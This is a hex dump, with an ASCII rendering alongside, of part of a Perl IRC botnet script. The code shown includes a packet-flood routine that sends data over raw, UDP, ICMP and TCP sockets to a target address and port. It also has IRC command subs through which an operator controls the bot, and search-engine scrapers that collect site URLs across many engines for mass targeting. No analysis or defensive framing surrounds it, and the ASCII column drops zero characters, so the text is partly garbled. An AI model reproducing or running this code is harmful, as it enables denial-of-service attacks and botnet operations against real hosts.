56960:	24	70	6F	72	74	61	2C	20	24	69	61	64	64	72	29	29	20	61	6E	64	20	24	70	61	63	6F	74	65	73	7B	69	67	$porta, $iaddr)) and $pacotes{ig
56992:	6D	70	7D	2B	2B	3B	0D	0A	20	20	20	20	20	20	20	20	20	73	65	6E	64	28	53	4F	43	4B	32	2C	20	24	6D	73	mp}++; send(SOCK2, $ms
57024:	67	2C	20	30	2C	20	73	6F	63	6B	61	64	64	72	5F	69	6E	28	24	70	6F	72	74	61	2C	20	24	69	61	64	64	72	g, , sockaddr_in($porta, $iaddr
57056:	29	29	20	61	6E	64	20	24	70	61	63	6F	74	65	73	7B	75	64	70	7D	2B	2B	3B	0D	0A	20	20	20	20	20	20	20	)) and $pacotes{udp}++;
57088:	20	20	73	65	6E	64	28	53	4F	43	4B	33	2C	20	24	6D	73	67	2C	20	30	2C	20	73	6F	63	6B	61	64	64	72	5F	send(SOCK3, $msg, , sockaddr_
57120:	69	6E	28	24	70	6F	72	74	61	2C	20	24	69	61	64	64	72	29	29	20	61	6E	64	20	24	70	61	63	6F	74	65	73	in($porta, $iaddr)) and $pacotes
57152:	7B	69	63	6D	70	7D	2B	2B	3B	0D	0A	20	20	20	20	20	20	20	20	20	73	65	6E	64	28	53	4F	43	4B	34	2C	20	{icmp}++; send(SOCK4,
57184:	24	6D	73	67	2C	20	30	2C	20	73	6F	63	6B	61	64	64	72	5F	69	6E	28	24	70	6F	72	74	61	2C	20	24	69	61	$msg, , sockaddr_in($porta, $ia
57216:	64	64	72	29	29	20	61	6E	64	20	24	70	61	63	6F	74	65	73	7B	74	63	70	7D	2B	2B	3B	0D	0A	20	20	20	20	ddr)) and $pacotes{tcp}++;
57248:	20	20	20	20	20	66	6F	72	20	28	6D	79	20	24	70	63	20	3D	20	33	3B	20	24	70	63	20	3C	3D	20	32	35	35	for (my $pc = 3; $pc <= 255
57280:	3B	24	70	63	2B	2B	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	6E	65	78	74	20	69	66	20	24	;$pc++) { next if $
57312:	70	63	20	3D	3D	20	36	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	24	63	75	72	5F	74	69	6D	65	20	pc == 6; $cur_time
57344:	3D	20	74	69	6D	65	20	2D	20	24	69	74	69	6D	65	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	6C	61	= time - $itime; la
57376:	73	74	20	69	66	20	24	63	75	72	5F	74	69	6D	65	20	3E	3D	20	24	66	74	69	6D	65	3B	0D	0A	20	20	20	20	st if $cur_time >= $ftime;
57408:	20	20	20	20	20	20	20	20	73	6F	63	6B	65	74	28	53	4F	43	4B	35	2C	20	50	46	5F	49	4E	45	54	2C	20	53	socket(SOCK5, PF_INET, S
57440:	4F	43	4B	5F	52	41	57	2C	20	24	70	63	29	20	6F	72	20	6E	65	78	74	3B	0D	0A	20	20	20	20	20	20	20	20	OCK_RAW, $pc) or next;
57472:	20	20	20	20	73	65	6E	64	28	53	4F	43	4B	35	2C	20	24	6D	73	67	2C	20	30	2C	20	73	6F	63	6B	61	64	64	send(SOCK5, $msg, , sockadd
57504:	72	5F	69	6E	28	24	70	6F	72	74	61	2C	20	24	69	61	64	64	72	29	29	20	61	6E	64	20	24	70	61	63	6F	74	r_in($porta, $iaddr)) and $pacot
57536:	65	73	7B	6F	7D	2B	2B	3B	0D	0A	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	7D	0D	0A	20	es{o}++; } }
57568:	20	20	20	20	20	6C	61	73	74	20	69	66	20	24	63	75	72	5F	74	69	6D	65	20	3E	3D	20	24	66	74	69	6D	65	last if $cur_time >= $ftime
57600:	3B	0D	0A	20	20	20	7D	0D	0A	20	20	20	72	65	74	75	72	6E	28	24	63	75	72	5F	74	69	6D	65	2C	20	25	70	; } return($cur_time, %p
57632:	61	63	6F	74	65	73	29	3B	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	63	74	63	70	20	7B	0D	0A	20	20	20	72	65	acotes); } sub ctcp { re
57664:	74	75	72	6E	20	75	6E	6C	65	73	73	20	24	23	5F	20	3D	3D	20	31	3B	0D	0A	20	20	20	73	65	6E	64	72	61	turn unless $#_ == 1; sendra
57696:	77	28	22	50	52	49	56	4D	53	47	20	24	5F	5B	30	5D	20	3A	5C	30	30	31	24	5F	5B	31	5D	5C	30	30	31	22	w("PRIVMSG $_[ ] :\ 1$_[1]\ 1"
57728:	29	3B	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	6D	73	67	20	7B	0D	0A	20	20	20	72	65	74	75	72	6E	20	75	6E	); } sub msg { return un
57760:	6C	65	73	73	20	24	23	5F	20	3D	3D	20	31	3B	0D	0A	20	20	20	73	65	6E	64	72	61	77	28	22	50	52	49	56	less $#_ == 1; sendraw("PRIV
57792:	4D	53	47	20	24	5F	5B	30	5D	20	3A	24	5F	5B	31	5D	22	29	3B	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	6E	6F	MSG $_[ ] :$_[1]"); } sub no
57824:	74	69	63	65	20	7B	0D	0A	20	20	20	72	65	74	75	72	6E	20	75	6E	6C	65	73	73	20	24	23	5F	20	3D	3D	20	tice { return unless $#_ ==
57856:	31	3B	0D	0A	20	20	20	73	65	6E	64	72	61	77	28	22	4E	4F	54	49	43	45	20	24	5F	5B	30	5D	20	3A	24	5F	1; sendraw("NOTICE $_[ ] :$_
57888:	5B	31	5D	22	29	3B	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	6F	70	20	7B	0D	0A	20	20	20	72	65	74	75	72	6E	[1]"); } sub op { return
57920:	20	75	6E	6C	65	73	73	20	24	23	5F	20	3D	3D	20	31	3B	0D	0A	20	20	20	73	65	6E	64	72	61	77	28	22	4D	unless $#_ == 1; sendraw("M
57952:	4F	44	45	20	24	5F	5B	30	5D	20	2B	6F	20	24	5F	5B	31	5D	22	29	3B	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	ODE $_[ ] +o $_[1]"); } sub
57984:	64	65	6F	70	20	7B	0D	0A	20	20	20	72	65	74	75	72	6E	20	75	6E	6C	65	73	73	20	24	23	5F	20	3D	3D	20	deop { return unless $#_ ==
58016:	31	3B	0D	0A	20	20	20	73	65	6E	64	72	61	77	28	22	4D	4F	44	45	20	24	5F	5B	30	5D	20	2D	6F	20	24	5F	1; sendraw("MODE $_[ ] -o $_
58048:	5B	31	5D	22	29	3B	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	6A	20	7B	0D	0A	20	20	20	26	6A	6F	69	6E	28	40	[1]"); } sub j { &join(@
58080:	5F	29	3B	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	6A	6F	69	6E	20	7B	0D	0A	20	20	20	72	65	74	75	72	6E	20	_); } sub join { return
58112:	75	6E	6C	65	73	73	20	24	23	5F	20	3D	3D	20	30	3B	0D	0A	20	20	20	73	65	6E	64	72	61	77	28	22	4A	4F	unless $#_ == ; sendraw("JO
58144:	49	4E	20	24	5F	5B	30	5D	22	29	3B	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	70	20	7B	0D	0A	20	20	20	70	61	IN $_[ ]"); } sub p { pa
58176:	72	74	28	40	5F	29	3B	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	70	61	72	74	20	7B	0D	0A	20	20	20	73	65	6E	rt(@_); } sub part { sen
58208:	64	72	61	77	28	22	50	41	52	54	20	24	5F	5B	30	5D	22	29	3B	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	6E	69	draw("PART $_[ ]"); } sub ni
58240:	63	6B	20	7B	0D	0A	20	20	20	72	65	74	75	72	6E	20	75	6E	6C	65	73	73	20	24	23	5F	20	3D	3D	20	30	3B	ck { return unless $#_ == ;
58272:	0D	0A	20	20	20	73	65	6E	64	72	61	77	28	22	4E	49	43	4B	20	24	5F	5B	30	5D	22	29	3B	0D	0A	7D	0D	0A	sendraw("NICK $_[ ]"); }
58304:	0D	0A	73	75	62	20	71	75	69	74	20	7B	0D	0A	20	20	20	73	65	6E	64	72	61	77	28	22	51	55	49	54	20	3A	sub quit { sendraw("QUIT :
58336:	24	5F	5B	30	5D	22	29	3B	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	66	65	74	63	68	28	29	7B	0D	0A	20	20	20	$_[ ]"); } sub fetch(){
58368:	6D	79	20	24	72	6E	64	3D	28	69	6E	74	28	72	61	6E	64	28	39	39	39	39	29	29	29	3B	0D	0A	20	20	20	6D	my $rnd=(int(rand(9999))); m
58400:	79	20	24	6E	3D	20	38	30	3B	0D	0A	20	20	20	69	66	20	28	24	72	6E	64	3C	35	30	30	30	29	20	7B	0D	0A	y $n= 8 ; if ($rnd<5 ) {
58432:	20	20	20	20	20	20	24	6E	3C	3C	3D	31	3B	0D	0A	20	20	20	7D	0D	0A	20	20	20	6D	79	20	24	73	3D	20	28	$n<<=1; } my $s= (
58464:	69	6E	74	28	72	61	6E	64	28	31	30	29	29	20	2A	20	24	6E	29	3B	0D	0A	20	20	20	6D	79	20	40	64	6F	6D	int(rand(1 )) * $n); my @dom
58496:	69	6E	69	6F	73	20	3D	20	28	22	72	65	6D	6F	76	65	64	2D	74	68	65	6D	2D	61	6C	6C	22	29	3B	0D	0A	20	inios = ("removed-them-all");
58528:	20	20	6D	79	20	40	73	74	72	3B	0D	0A	20	20	20	66	6F	72	65	61	63	68	20	24	64	6F	6D	20	20	28	40	64	my @str; foreach $dom (@d
58560:	6F	6D	69	6E	69	6F	73	29	7B	0D	0A	20	20	20	20	20	20	70	75	73	68	20	28	40	73	74	72	2C	22	40	67	73	ominios){ push (@str,"@gs
58592:	74	72	69	6E	67	22	29	3B	0D	0A	20	20	20	7D	0D	0A	20	20	20	6D	79	20	24	71	75	65	72	79	3D	22	77	77	tring"); } my $query="ww
58624:	77	2E	67	6F	6F	67	6C	65	2E	63	6F	6D	2F	73	65	61	72	63	68	3F	71	3D	22	3B	0D	0A	20	20	20	24	71	75	w.google.com/search?q="; $qu
58656:	65	72	79	2E	3D	24	73	74	72	5B	28	72	61	6E	64	28	73	63	61	6C	61	72	28	40	73	74	72	29	29	29	5D	3B	ery.=$str[(rand(scalar(@str)))];
58688:	0D	0A	20	20	20	24	71	75	65	72	79	2E	3D	22	26	6E	75	6D	3D	24	6E	26	73	74	61	72	74	3D	24	73	22	3B	$query.="&num=$n&start=$s";
58720:	0D	0A	20	20	20	6D	79	20	40	6C	73	74	3D	28	29	3B	0D	0A	20	20	20	73	65	6E	64	72	61	77	28	22	70	72	my @lst=(); sendraw("pr
58752:	69	76	6D	73	67	20	23	64	65	62	75	67	20	3A	44	45	42	55	47	20	6F	6E	6C	79	20	74	65	73	74	20	67	6F	ivmsg #debug :DEBUG only test go
58784:	6F	67	6C	69	6E	67	3A	20	22	2E	24	71	75	65	72	79	2E	22	22	29	3B	0D	0A	20	20	20	6D	79	20	24	70	61	ogling: ".$query.""); my $pa
58816:	67	65	20	3D	20	68	74	74	70	5F	71	75	65	72	79	28	24	71	75	65	72	79	29	3B	0D	0A	20	20	20	77	68	69	ge = http_query($query); whi
58848:	6C	65	20	28	24	70	61	67	65	20	3D	7E	20	20	6D	2F	3C	61	20	68	72	65	66	3D	5C	22	3F	68	74	74	70	3A	le ($page =~ m/<a href=\"?http:
58880:	5C	2F	5C	2F	28	5B	5E	3E	5C	22	5D	2B	29	5C	22	3F	20	63	6C	61	73	73	3D	6C	3E	2F	67	29	7B	0D	0A	20	\/\/([^>\"]+)\"? class=l>/g){
58912:	20	20	20	20	20	69	66	20	28	24	31	20	21	7E	20	6D	2F	67	6F	6F	67	6C	65	7C	63	61	63	68	65	7C	74	72	if ($1 !~ m/google\|cache\|tr
58944:	61	6E	73	6C	61	74	65	2F	29	7B	0D	0A	20	20	20	20	20	20	20	20	20	70	75	73	68	20	28	40	6C	73	74	2C	anslate/){ push (@lst,
58976:	24	31	29	3B	0D	0A	20	20	20	20	20	20	7D	0D	0A	20	20	20	7D	0D	0A	20	20	20	72	65	74	75	72	6E	20	28	$1); } } return (
59008:	40	6C	73	74	29	3B	0D	0A	0D	0A	73	75	62	20	79	61	68	6F	6F	28	29	7B	0D	0A	6D	79	20	40	6C	73	74	3B	@lst); sub yahoo(){ my @lst;
59040:	0D	0A	6D	79	20	24	6B	65	79	20	3D	20	24	5F	5B	30	5D	3B	0D	0A	66	6F	72	28	24	62	3D	31	3B	24	62	3C	my $key = $_[ ]; for($b=1;$b<
59072:	3D	31	30	30	30	3B	24	62	2B	3D	31	30	30	29	7B	0D	0A	6D	79	20	24	59	61	3D	28	22	68	74	74	70	3A	2F	=1 ;$b+=1 ){ my $Ya=("http:/
59104:	2F	73	65	61	72	63	68	2E	79	61	68	6F	6F	2E	63	6F	6D	2F	73	65	61	72	63	68	3F	65	69	3D	55	54	46	2D	/search.yahoo.com/search?ei=UTF-
59136:	38	26	70	3D	22	2E	6B	65	79	28	24	6B	65	79	29	2E	22	26	6E	3D	31	30	30	26	66	72	3D	73	66	70	26	62	8&p=".key($key)."&n=1 &fr=sfp&b
59168:	3D	22	2E	24	62	29	3B	0D	0A	6D	79	20	24	52	65	73	3D	71	75	65	72	79	28	24	59	61	29	3B	0D	0A	77	68	=".$b); my $Res=query($Ya); wh
59200:	69	6C	65	28	24	52	65	73	20	3D	7E	20	6D	2F	5C	3C	73	70	61	6E	20	63	6C	61	73	73	3D	79	73	63	68	75	ile($Res =~ m/\<span class=yschu
59232:	72	6C	3E	28	2E	2B	3F	29	5C	3C	5C	2F	73	70	61	6E	3E	2F	67	29	7B	0D	0A	6D	79	20	24	6B	3D	24	31	3B	rl>(.+?)\<\/span>/g){ my $k=$1;
59264:	0D	0A	24	6B	3D	7E	73	2F	3C	62	3E	2F	2F	67	3B	0D	0A	24	6B	3D	7E	73	2F	3C	5C	2F	62	3E	2F	2F	67	3B	$k=~s/<b>//g; $k=~s/<\/b>//g;
59296:	0D	0A	24	6B	3D	7E	73	2F	3C	77	62	72	3E	2F	2F	67	3B	0D	0A	6D	79	20	40	67	72	65	70	3D	6C	69	6E	6B	$k=~s/<wbr>//g; my @grep=link
59328:	73	28	24	6B	29	3B	0D	0A	70	75	73	68	28	40	6C	73	74	2C	40	67	72	65	70	29	3B	0D	0A	7D	7D	0D	0A	72	s($k); push(@lst,@grep); }} r
59360:	65	74	75	72	6E	20	40	6C	73	74	3B	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	6D	73	6E	28	29	7B	0D	0A	6D	79	eturn @lst; } sub msn(){ my
59392:	20	40	6C	73	74	3B	0D	0A	6D	79	20	24	6B	65	79	20	3D	20	24	5F	5B	30	5D	3B	0D	0A	66	6F	72	28	24	62	@lst; my $key = $_[ ]; for($b
59424:	3D	31	3B	24	62	3C	3D	31	30	30	30	3B	24	62	2B	3D	31	30	29	7B	0D	0A	6D	79	20	24	6D	73	6E	3D	28	22	=1;$b<=1 ;$b+=1 ){ my $msn=("
59456:	68	74	74	70	3A	2F	2F	73	65	61	72	63	68	2E	6D	73	6E	2E	64	65	2F	72	65	73	75	6C	74	73	2E	61	73	70	http://search.msn.de/results.asp
59488:	78	3F	71	3D	22	2E	6B	65	79	28	24	6B	65	79	29	2E	22	26	66	69	72	73	74	3D	22	2E	24	62	2E	22	26	46	x?q=".key($key)."&first=".$b."&F
59520:	4F	52	4D	3D	50	4F	52	45	22	29	3B	0D	0A	6D	79	20	24	52	65	73	3D	71	75	65	72	79	28	24	6D	73	6E	29	ORM=PORE"); my $Res=query($msn)
59552:	3B	0D	0A	77	68	69	6C	65	28	24	52	65	73	20	3D	7E	20	6D	2F	3C	61	20	68	72	65	66	3D	5C	22	3F	68	74	; while($Res =~ m/<a href=\"?ht
59584:	74	70	3A	5C	2F	5C	2F	28	5B	5E	3E	5C	22	5D	2A	29	5C	2F	2F	67	29	7B	0D	0A	69	66	28	24	31	20	21	7E	tp:\/\/([^>\"]*)\//g){ if($1 !~
59616:	20	2F	6D	73	6E	7C	6C	69	76	65	2F	29	7B	0D	0A	6D	79	20	24	6B	3D	24	31	3B	0D	0A	6D	79	20	40	67	72	/msn\|live/){ my $k=$1; my @gr
59648:	65	70	3D	6C	69	6E	6B	73	28	24	6B	29	3B	0D	0A	70	75	73	68	28	40	6C	73	74	2C	40	67	72	65	70	29	3B	ep=links($k); push(@lst,@grep);
59680:	0D	0A	7D	7D	7D	0D	0A	72	65	74	75	72	6E	20	40	6C	73	74	3B	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	6C	79	}}} return @lst; } sub ly
59712:	63	6F	73	28	29	7B	0D	0A	6D	79	20	24	69	6E	69	7A	69	6F	3D	30	3B	0D	0A	6D	79	20	24	70	61	67	69	6E	cos(){ my $inizio= ; my $pagin
59744:	65	3D	32	30	3B	0D	0A	6D	79	20	24	6B	65	79	3D	24	5F	5B	30	5D	3B	0D	0A	6D	79	20	24	61	76	3D	30	3B	e=2 ; my $key=$_[ ]; my $av= ;
59776:	0D	0A	6D	79	20	40	6C	73	74	3B	0D	0A	77	68	69	6C	65	28	24	69	6E	69	7A	69	6F	20	3C	3D	20	24	70	61	my @lst; while($inizio <= $pa
59808:	67	69	6E	65	29	7B	0D	0A	6D	79	20	24	6C	79	63	6F	73	3D	22	68	74	74	70	3A	2F	2F	73	65	61	72	63	68	gine){ my $lycos="http://search
59840:	2E	6C	79	63	6F	73	2E	63	6F	6D	2F	3F	71	75	65	72	79	3D	22	2E	6B	65	79	28	24	6B	65	79	29	2E	22	26	.lycos.com/?query=".key($key)."&
59872:	70	61	67	65	3D	24	61	76	22	3B	0D	0A	6D	79	20	24	52	65	73	3D	71	75	65	72	79	28	24	6C	79	63	6F	73	page=$av"; my $Res=query($lycos
59904:	29	3B	0D	0A	77	68	69	6C	65	20	28	24	52	65	73	3D	7E	20	6D	2F	3C	73	70	61	6E	20	63	6C	61	73	73	3D	); while ($Res=~ m/<span class=
59936:	5C	22	3F	67	72	6E	4C	6E	6B	20	73	6D	61	6C	6C	5C	22	3F	3E	68	74	74	70	3A	5C	2F	5C	2F	28	2E	2B	3F	\"?grnLnk small\"?>http:\/\/(.+?
59968:	29	5C	2F	2F	67	20	29	7B	0D	0A	6D	79	20	24	6B	3D	22	24	31	22	3B	0D	0A	6D	79	20	40	67	72	65	70	3D	)\//g ){ my $k="$1"; my @grep=
60000:	6C	69	6E	6B	73	28	24	6B	29	3B	0D	0A	70	75	73	68	28	40	6C	73	74	2C	40	67	72	65	70	29	3B	0D	0A	7D	links($k); push(@lst,@grep); }
60032:	0D	0A	24	69	6E	69	7A	69	6F	2B	2B	3B	0D	0A	24	61	76	2B	2B	3B	0D	0A	7D	0D	0A	72	65	74	75	72	6E	20	$inizio++; $av++; } return
60064:	40	6C	73	74	3B	0D	0A	7D	0D	0A	0D	0A	23	23	23	23	23	0D	0A	73	75	62	20	61	6F	6C	28	29	7B	0D	0A	6D	@lst; } ##### sub aol(){ m
60096:	79	20	40	6C	73	74	3B	0D	0A	6D	79	20	24	6B	65	79	20	3D	20	24	5F	5B	30	5D	3B	0D	0A	66	6F	72	28	24	y @lst; my $key = $_[ ]; for($
60128:	62	3D	31	3B	24	62	3C	3D	31	30	30	3B	24	62	2B	2B	29	7B	0D	0A	6D	79	20	24	41	6F	4C	3D	28	22	68	74	b=1;$b<=1 ;$b++){ my $AoL=("ht
60160:	74	70	3A	2F	2F	73	65	61	72	63	68	2E	61	6F	6C	2E	63	6F	6D	2F	61	6F	6C	2F	73	65	61	72	63	68	3F	71	tp://search.aol.com/aol/search?q
60192:	75	65	72	79	3D	22	2E	6B	65	79	28	24	6B	65	79	29	2E	22	26	70	61	67	65	3D	22	2E	24	62	2E	22	26	6E	uery=".key($key)."&page=".$b."&n
60224:	74	3D	6E	75	6C	6C	26	69	65	3D	55	54	46	2D	38	22	29	3B	0D	0A	6D	79	20	24	52	65	73	3D	71	75	65	72	t=null&ie=UTF-8"); my $Res=quer
60256:	79	28	24	41	6F	4C	29	3B	0D	0A	77	68	69	6C	65	28	24	52	65	73	20	3D	7E	20	6D	2F	3C	70	20	63	6C	61	y($AoL); while($Res =~ m/<p cla
60288:	73	73	3D	5C	22	64	65	6C	65	74	65	64	5C	22	20	70	72	6F	70	65	72	74	79	3D	5C	22	66	3A	75	72	6C	5C	ss=\"deleted\" property=\"f:url\
60320:	22	3E	68	74	74	70	3A	5C	2F	5C	2F	28	2E	2B	3F	29	5C	3C	5C	2F	70	3E	2F	67	29	7B	0D	0A	6D	79	20	24	">http:\/\/(.+?)\<\/p>/g){ my $
60352:	6B	3D	24	31	3B	0D	0A	6D	79	20	40	67	72	65	70	3D	6C	69	6E	6B	73	28	24	6B	29	3B	0D	0A	70	75	73	68	k=$1; my @grep=links($k); push
60384:	28	40	6C	73	74	2C	40	67	72	65	70	29	3B	0D	0A	7D	7D	0D	0A	72	65	74	75	72	6E	20	40	6C	73	74	3B	0D	(@lst,@grep); }} return @lst;
60416:	0A	7D	0D	0A	23	23	23	23	23	0D	0A	73	75	62	20	61	73	6B	28	29	7B	0D	0A	6D	79	20	40	6C	73	74	3B	0D	} ##### sub ask(){ my @lst;
60448:	0A	6D	79	20	24	6B	65	79	3D	24	5F	5B	30	5D	3B	0D	0A	6D	79	20	24	69	3D	30	3B	0D	0A	6D	79	20	24	70	my $key=$_[ ]; my $i= ; my $p
60480:	67	3D	30	3B	0D	0A	66	6F	72	28	24	69	3D	30	3B	20	24	69	3C	3D	31	30	30	30	3B	20	24	69	2B	3D	31	30	g= ; for($i= ; $i<=1 ; $i+=1
60512:	29	0D	0A	7B	0D	0A	6D	79	20	24	41	73	6B	3D	28	22	68	74	74	70	3A	2F	2F	69	74	2E	61	73	6B	2E	63	6F	) { my $Ask=("http://it.ask.co
60544:	6D	2F	77	65	62	3F	71	3D	22	2E	6B	65	79	28	24	6B	65	79	29	2E	22	26	6F	3D	33	31	32	26	6C	3D	64	69	m/web?q=".key($key)."&o=312&l=di
60576:	72	26	71	73	72	63	3D	30	26	70	61	67	65	3D	22	2E	24	69	2E	22	26	64	6D	3D	61	6C	6C	22	29	3B	0D	0A	r&qsrc= &page=".$i."&dm=all");
60608:	6D	79	20	24	52	65	73	3D	71	75	65	72	79	28	24	41	73	6B	29	3B	0D	0A	77	68	69	6C	65	28	24	52	65	73	my $Res=query($Ask); while($Res
60640:	3D	7E	6D	2F	3C	61	20	69	64	3D	5C	22	28	2E	2A	3F	29	5C	22	20	63	6C	61	73	73	3D	5C	22	28	2E	2A	3F	=~m/<a id=\"(.?)\" class=\"(.?
60672:	29	5C	22	20	68	72	65	66	3D	5C	22	28	2E	2B	3F	29	5C	6F	6E	6D	6F	75	73	65	64	6F	77	6E	2F	67	29	7B	)\" href=\"(.+?)\onmousedown/g){
60704:	0D	0A	6D	79	20	24	6B	3D	24	33	3B	0D	0A	24	6B	3D	7E	73	2F	5B	5C	22	5C	20	5D	2F	2F	67	3B	0D	0A	6D	my $k=$3; $k=~s/[\"\ ]//g; m
60736:	79	20	40	67	72	65	70	3D	6C	69	6E	6B	73	28	24	6B	29	3B	0D	0A	70	75	73	68	28	40	6C	73	74	2C	40	67	y @grep=links($k); push(@lst,@g
60768:	72	65	70	29	3B	0D	0A	7D	7D	0D	0A	72	65	74	75	72	6E	20	40	6C	73	74	3B	0D	0A	7D	0D	0A	23	23	23	23	rep); }} return @lst; } ####
60800:	23	0D	0A	73	75	62	20	61	6C	6C	74	68	65	77	65	62	28	29	0D	0A	7B	0D	0A	6D	79	20	40	6C	73	74	3B	0D	# sub alltheweb() { my @lst;
60832:	0A	6D	79	20	24	6B	65	79	3D	24	5F	5B	30	5D	3B	0D	0A	6D	79	20	24	69	3D	30	3B	0D	0A	6D	79	20	24	70	my $key=$_[ ]; my $i= ; my $p
60864:	67	3D	30	3B	0D	0A	66	6F	72	28	24	69	3D	30	3B	20	24	69	3C	3D	31	30	30	30	3B	20	24	69	2B	3D	31	30	g= ; for($i= ; $i<=1 ; $i+=1
60896:	30	29	0D	0A	7B	0D	0A	6D	79	20	24	61	6C	6C	3D	28	22	68	74	74	70	3A	2F	2F	77	77	77	2E	61	6C	6C	74	) { my $all=("http://www.allt
60928:	68	65	77	65	62	2E	63	6F	6D	2F	73	65	61	72	63	68	3F	63	61	74	3D	77	65	62	26	5F	73	62	5F	6C	61	6E	heweb.com/search?cat=web&_sb_lan
60960:	67	3D	61	6E	79	26	68	69	74	73	3D	31	30	30	26	71	3D	22	2E	6B	65	79	28	24	6B	65	79	29	2E	22	26	6F	g=any&hits=1 &q=".key($key)."&o
60992:	3D	22	2E	24	69	29	3B	0D	0A	6D	79	20	24	52	65	73	3D	71	75	65	72	79	28	24	61	6C	6C	29	3B	0D	0A	77	=".$i); my $Res=query($all); w
61024:	68	69	6C	65	28	24	52	65	73	20	3D	7E	20	6D	2F	3C	73	70	61	6E	20	63	6C	61	73	73	3D	5C	22	3F	72	65	hile($Res =~ m/<span class=\"?re
61056:	73	55	52	4C	5C	22	3F	3E	68	74	74	70	3A	5C	2F	5C	2F	28	2E	2B	3F	29	5C	3C	5C	2F	73	70	61	6E	3E	2F	sURL\"?>http:\/\/(.+?)\<\/span>/
61088:	67	29	7B	0D	0A	6D	79	20	24	6B	3D	24	31	3B	0D	0A	24	6B	3D	7E	73	2F	20	2F	2F	67	3B	0D	0A	6D	79	20	g){ my $k=$1; $k=~s/ //g; my
61120:	40	67	72	65	70	3D	6C	69	6E	6B	73	28	24	6B	29	3B	0D	0A	70	75	73	68	28	40	6C	73	74	2C	40	67	72	65	@grep=links($k); push(@lst,@gre
61152:	70	29	3B	0D	0A	7D	7D	0D	0A	72	65	74	75	72	6E	20	40	6C	73	74	3B	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	p); }} return @lst; } sub
61184:	67	6F	6F	67	6C	65	28	29	7B	0D	0A	6D	79	20	40	6C	73	74	3B	0D	0A	6D	79	20	24	6B	65	79	20	3D	20	24	google(){ my @lst; my $key = $
61216:	5F	5B	30	5D	3B	0D	0A	66	6F	72	28	24	62	3D	30	3B	24	62	3C	3D	31	30	30	3B	24	62	2B	3D	31	30	30	29	_[ ]; for($b= ;$b<=1 ;$b+=1 )
61248:	7B	0D	0A	6D	79	20	24	47	6F	3D	28	22	68	74	74	70	3A	2F	2F	77	77	77	2E	67	6F	6F	67	6C	65	2E	69	74	{ my $Go=("http://www.google.it
61280:	2F	73	65	61	72	63	68	3F	68	6C	3D	69	74	26	71	3D	22	2E	6B	65	79	28	24	6B	65	79	29	2E	22	26	6E	75	/search?hl=it&q=".key($key)."&nu
61312:	6D	3D	31	30	30	26	66	69	6C	74	65	72	3D	30	26	73	74	61	72	74	3D	22	2E	24	62	29	3B	0D	0A	6D	79	20	m=1 &filter= &start=".$b); my
61344:	24	52	65	73	3D	71	75	65	72	79	28	24	47	6F	29	3B	0D	0A	77	68	69	6C	65	28	24	52	65	73	20	3D	7E	20	$Res=query($Go); while($Res =~
61376:	6D	2F	3C	61	20	68	72	65	66	3D	5C	22	3F	68	74	74	70	3A	5C	2F	5C	2F	28	5B	5E	3E	5C	22	5D	2A	29	5C	m/<a href=\"?http:\/\/([^>\"]*)\
61408:	2F	2F	67	29	7B	0D	0A	69	66	20	28	24	31	20	21	7E	20	2F	67	6F	6F	67	6C	65	2F	29	7B	0D	0A	6D	79	20	//g){ if ($1 !~ /google/){ my
61440:	24	6B	3D	24	31	3B	0D	0A	6D	79	20	40	67	72	65	70	3D	6C	69	6E	6B	73	28	24	6B	29	3B	0D	0A	70	75	73	$k=$1; my @grep=links($k); pus
61472:	68	28	40	6C	73	74	2C	40	67	72	65	70	29	3B	0D	0A	7D	7D	7D	0D	0A	72	65	74	75	72	6E	20	40	6C	73	74	h(@lst,@grep); }}} return @lst
61504:	3B	0D	0A	7D	0D	0A	0D	0A	23	23	23	23	23	0D	0A	23	20	53	55	42	53	20	53	45	41	52	43	48	0D	0A	23	23	; } ##### # SUBS SEARCH ##
61536:	23	23	23	0D	0A	73	75	62	20	73	65	61	72	63	68	28	29	7B	0D	0A	6D	79	20	40	6C	73	74	3B	0D	0A	6D	79	### sub search(){ my @lst; my
61568:	20	24	6B	65	79	20	3D	20	24	5F	5B	30	5D	3B	0D	0A	66	6F	72	28	24	62	3D	30	3B	24	62	3C	3D	31	30	30	$key = $_[ ]; for($b= ;$b<=1
61600:	30	3B	24	62	2B	3D	31	30	30	29	7B	0D	0A	6D	79	20	24	73	65	72	3D	28	22	68	74	74	70	3A	2F	2F	77	77	;$b+=1 ){ my $ser=("http://ww
61632:	77	2E	73	65	61	72	63	68	2E	63	6F	6D	2F	73	65	61	72	63	68	3F	71	3D	22	2E	6B	65	79	28	24	6B	65	79	w.search.com/search?q=".key($key
61664:	29	2E	22	22	2E	24	62	29	3B	0D	0A	6D	79	20	24	52	65	73	3D	71	75	65	72	79	28	24	73	65	72	29	3B	0D	)."".$b); my $Res=query($ser);
61696:	0A	77	68	69	6C	65	28	24	52	65	73	20	3D	7E	20	6D	2F	3C	61	20	68	72	65	66	3D	5C	22	3F	68	74	74	70	while($Res =~ m/<a href=\"?http
61728:	3A	5C	2F	5C	2F	28	5B	5E	3E	5C	22	5D	2A	29	5C	2F	2F	67	29	7B	0D	0A	69	66	20	28	24	31	20	21	7E	20	:\/\/([^>\"]*)\//g){ if ($1 !~
61760:	2F	6D	73	6E	7C	6C	69	76	65	7C	67	6F	6F	67	6C	65	7C	79	61	68	6F	6F	2F	29	7B	0D	0A	6D	79	20	24	6B	/msn\|live\|google\|yahoo/){ my $k
61792:	3D	24	31	3B	0D	0A	6D	79	20	40	67	72	65	70	3D	6C	69	6E	6B	73	28	24	6B	29	3B	0D	0A	70	75	73	68	28	=$1; my @grep=links($k); push(
